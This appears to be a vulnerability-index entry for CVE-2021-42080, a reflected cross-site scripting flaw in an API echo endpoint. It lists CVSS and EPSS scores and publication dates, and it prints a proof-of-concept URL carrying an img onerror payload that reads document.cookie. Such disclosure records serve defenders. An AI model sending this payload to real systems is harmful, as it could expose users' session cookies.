PoC Index

CVE-2021-42080

HIGH 7.4EPSS 0.7%

An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

CVSS v3.1
7.4 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
CVSS v3.1
7.4 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
EPSS
0.69% chance of exploitation in the next 30 days, 50th percentile
Published
2023-07-10
Updated
2025-09-22

Proof-of-concept exploits (1)

References

Related